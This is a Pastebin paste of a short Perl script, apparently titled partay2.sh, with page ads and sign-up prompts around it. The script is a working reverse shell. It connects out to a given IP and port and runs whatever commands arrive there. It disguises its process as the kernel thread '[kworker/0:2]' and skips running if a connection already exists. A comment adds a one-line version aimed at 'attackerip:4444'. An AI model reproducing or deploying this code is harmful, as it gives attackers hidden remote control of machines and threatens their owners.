Advertisement
squelch

partay2.sh

Mar 26th, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.75 KB | None | 0 0
  1. #!/usr/bin/env perl
  2. # one liner: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  3. use strict;
  4. use warnings;
  5. use IO::Socket;
  6. use IO::Socket::INET;
  7. $0 = "[kworker/0:2]";
  8.  
  9. my $num_args = $#ARGV + 1;
  10. if ($num_args != 2) {
  11. print "\nUsage: $0 ip port\n";
  12. exit;
  13. }
  14.  
  15. my $ip = shift;
  16. my $port = shift;
  17.  
  18. open PIPE, "netstat -ptn |" or die $!;
  19. my @slurp=<PIPE>;
  20. close PIPE;
  21. chomp @slurp;
  22. my @matches=grep /$ip:$port/,@slurp;
  23.  
  24. if (!@matches) {
  25. my $p=fork;
  26. exit,if($p);
  27. my $c=new IO::Socket::INET(PeerAddr => $ip, PeerPort => $port) or die "Failed to open socket";
  28. STDIN->fdopen($c, 'r');
  29. $~->fdopen($c, 'w');
  30. system$_ while<>;
  31. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement